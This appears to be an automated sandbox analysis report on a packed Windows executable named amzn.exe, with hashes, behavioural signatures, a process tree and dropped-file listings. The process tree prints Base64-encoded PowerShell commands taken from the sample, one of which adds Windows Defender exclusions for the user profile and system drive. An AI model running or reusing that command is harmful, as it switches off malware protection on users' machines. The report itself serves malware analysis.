Analysis

  • max time kernel
    47s
  • max time network
    20s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    09-06-2024 07:39

General

  • Target

    amzn.exe

  • Size

    13.4MB

  • MD5

    d1169346f870e90f3d0bf40c71fecf85

  • SHA1

    dfa4c143bd9421414c43095b2b23357a8ef46ab3

  • SHA256

    4b6c62a3c3c1b5e3eb91fc586fc9d048684efc1cd2c1d101132c0c3443965614

  • SHA512

    120d3234f9901e159e3b220bbc75c007ecdf97edd6426454c9d3679fb29f8992046d780797d72ee0a19495750d72ae4b1b3bad594c58ae697c195121305100b8

  • SSDEEP

    393216:bgUF5p/ZTg0+dO1uaRhaT31OC6xtyoDEmp1M2M:bxF5p/Zc0+81JXOAHLhDEsb

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 16 IoCs
  • Themida packer 8 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\amzn.exe
    "C:\Users\Admin\AppData\Local\Temp\amzn.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Loads dropped DLL
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2984
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAZwB5ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AegBlACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAQwBSAEEAQwBLAEUARAAgAEIAWQAgAEAAUwBPAFIAQgBZAEQARQBWACcALAAnACcALAAnAE8ASwAnACwAJwBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AJwApADwAIwBzAGkAYwAjAD4A"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2204
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAZgBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AZwBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGEAeABmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAdwBhACMAPgA="
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2812
    • C:\Users\Admin\AppData\Local\Temp\sorby-storecard.exe
      "C:\Users\Admin\AppData\Local\Temp\sorby-storecard.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2668
      • C:\Users\Admin\AppData\Local\Temp\sorby-storecard.exe
        "C:\Users\Admin\AppData\Local\Temp\sorby-storecard.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2792
    • C:\Users\Admin\AppData\Local\Temp\auth.exe
      "C:\Users\Admin\AppData\Local\Temp\auth.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of WriteProcessMemory
      PID:2776
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 2776 -s 552
        3⤵
        • Loads dropped DLL
        PID:2416

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\_MEI26682\api-ms-win-core-file-l2-1-0.dll

    Filesize

    18KB

    MD5

    bfffa7117fd9b1622c66d949bac3f1d7

    SHA1

    402b7b8f8dcfd321b1d12fc85a1ee5137a5569b2

    SHA256

    1ea267a2e6284f17dd548c6f2285e19f7edb15d6e737a55391140ce5cb95225e

    SHA512

    b319cc7b436b1be165cdf6ffcab8a87fe29de78f7e0b14c8f562be160481fb5483289bd5956fdc1d8660da7a3f86d8eede35c6cc2b7c3d4c852decf4b2dcdb7f

  • C:\Users\Admin\AppData\Local\Temp\_MEI26682\api-ms-win-core-localization-l1-2-0.dll

    Filesize

    21KB

    MD5

    724223109e49cb01d61d63a8be926b8f

    SHA1

    072a4d01e01dbbab7281d9bd3add76f9a3c8b23b

    SHA256

    4e975f618df01a492ae433dff0dd713774d47568e44c377ceef9e5b34aad1210

    SHA512

    19b0065b894dc66c30a602c9464f118e7f84d83010e74457d48e93aaca4422812b093b15247b24d5c398b42ef0319108700543d13f156067b169ccfb4d7b6b7c

  • C:\Users\Admin\AppData\Local\Temp\_MEI26682\python39.dll

    Filesize

    4.3MB

    MD5

    5cd203d356a77646856341a0c9135fc6

    SHA1

    a1f4ac5cc2f5ecb075b3d0129e620784814a48f7

    SHA256

    a56afcf5f3a72769c77c3bc43c9b84197180a8b3380b6258073223bfd72ed47a

    SHA512

    390008d57fa711d7c88b77937bf16fdb230e7c1e7182faea6d7c206e9f65ced6f2e835f9da9befb941e80624abe45875602e0e7ad485d9a009d2450a2a0e0f1f

  • C:\Users\Admin\AppData\Local\Temp\_MEI26682\ucrtbase.dll

    Filesize

    992KB

    MD5

    0e0bac3d1dcc1833eae4e3e4cf83c4ef

    SHA1

    4189f4459c54e69c6d3155a82524bda7549a75a6

    SHA256

    8a91052ef261b5fbf3223ae9ce789af73dfe1e9b0ba5bdbc4d564870a24f2bae

    SHA512

    a45946e3971816f66dd7ea3788aacc384a9e95011500b458212dc104741315b85659e0d56a41570731d338bdf182141c093d3ced222c007038583ceb808e26fd

  • C:\Users\Admin\AppData\Local\Temp\auth.exe

    Filesize

    4.6MB

    MD5

    34d727bc84e3fd30f2b400e7f1aeda17

    SHA1

    69c875966c12591179e84e4538a7fd5e4fdea446

    SHA256

    c237dba1b193a24055cbe9a98a572283ae28f82a130f1c3ed9424934d5b7dc8f

    SHA512

    976fb30c0d3717db0fb6b28fba0bf6eff49326eb40a96ede14ac393200874d69b0f5877c22689a9836d73974ad422646fa16a052908b54a34b88e976983d0070

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    714efaf484ecdabdfe977bf7d06f4aff

    SHA1

    2f768c91a33bca2c066e7f1169ddcc066779be4a

    SHA256

    abea133380e73b1107d370c9a6df4dab242b0db25d4180c69ab888caf3432d14

    SHA512

    63d0e9236aa24e6021aa06e396607329c3c93d382fba81926d24a8dabeb5deeb4b31814eb1e0e5f2ddea850658c1272d9e4a073b9c89ad0f5eab57c0a7ed7431

  • \Users\Admin\AppData\Local\Temp\_MEI26682\api-ms-win-core-file-l1-2-0.dll

    Filesize

    21KB

    MD5

    1c58526d681efe507deb8f1935c75487

    SHA1

    0e6d328faf3563f2aae029bc5f2272fb7a742672

    SHA256

    ef13dce8f71173315dfc64ab839b033ab19a968ee15230e9d4d2c9d558efeee2

    SHA512

    8edb9a0022f417648e2ece9e22c96e2727976332025c3e7d8f15bcf6d7d97e680d1bf008eb28e2e0bd57787dcbb71d38b2deb995b8edc35fa6852ab1d593f3d1

  • \Users\Admin\AppData\Local\Temp\_MEI26682\api-ms-win-core-processthreads-l1-1-1.dll

    Filesize

    21KB

    MD5

    517eb9e2cb671ae49f99173d7f7ce43f

    SHA1

    4ccf38fed56166ddbf0b7efb4f5314c1f7d3b7ab

    SHA256

    57cc66bf0909c430364d35d92b64eb8b6a15dc201765403725fe323f39e8ac54

    SHA512

    492be2445b10f6bfe6c561c1fc6f5d1af6d1365b7449bc57a8f073b44ae49c88e66841f5c258b041547fcd33cbdcb4eb9dd3e24f0924db32720e51651e9286be

  • \Users\Admin\AppData\Local\Temp\_MEI26682\api-ms-win-core-timezone-l1-1-0.dll

    Filesize

    21KB

    MD5

    d12403ee11359259ba2b0706e5e5111c

    SHA1

    03cc7827a30fd1dee38665c0cc993b4b533ac138

    SHA256

    f60e1751a6ac41f08e46480bf8e6521b41e2e427803996b32bdc5e78e9560781

    SHA512

    9004f4e59835af57f02e8d9625814db56f0e4a98467041da6f1367ef32366ad96e0338d48fff7cc65839a24148e2d9989883bcddc329d9f4d27cae3f843117d0

  • \Users\Admin\AppData\Local\Temp\sorby-storecard.exe

    Filesize

    6.1MB

    MD5

    224bae5fb30b488bfbe216add596b3bb

    SHA1

    4e5a855ef49b40f97717f119e5040bfff80f4c76

    SHA256

    702c45977fe745fa2a1fc7acb7d6e7d8f683e2da9b7daf29b8b5d075cbcfb1fb

    SHA512

    db9cf846eda14c349da50ae22537cc4bc7cc55e9c863e9dd9c97fd5ea8102f4154799a0d4357a73349b5f9895fef714d8c8a14bf771cccb2c66294f74e6a2191

  • memory/2776-68-0x000000013F090000-0x000000013FCE4000-memory.dmp

    Filesize

    12.3MB

  • memory/2776-96-0x000000013F090000-0x000000013FCE4000-memory.dmp

    Filesize

    12.3MB

  • memory/2776-97-0x000000013F090000-0x000000013FCE4000-memory.dmp

    Filesize

    12.3MB

  • memory/2776-150-0x000000013F090000-0x000000013FCE4000-memory.dmp

    Filesize

    12.3MB

  • memory/2984-14-0x0000000000400000-0x000000000159F000-memory.dmp

    Filesize

    17.6MB

  • memory/2984-0-0x0000000000400000-0x000000000159F000-memory.dmp

    Filesize

    17.6MB

  • memory/2984-3-0x0000000000400000-0x000000000159F000-memory.dmp

    Filesize

    17.6MB

  • memory/2984-2-0x0000000000400000-0x000000000159F000-memory.dmp

    Filesize

    17.6MB

  • memory/2984-1-0x0000000077180000-0x0000000077182000-memory.dmp

    Filesize

    8KB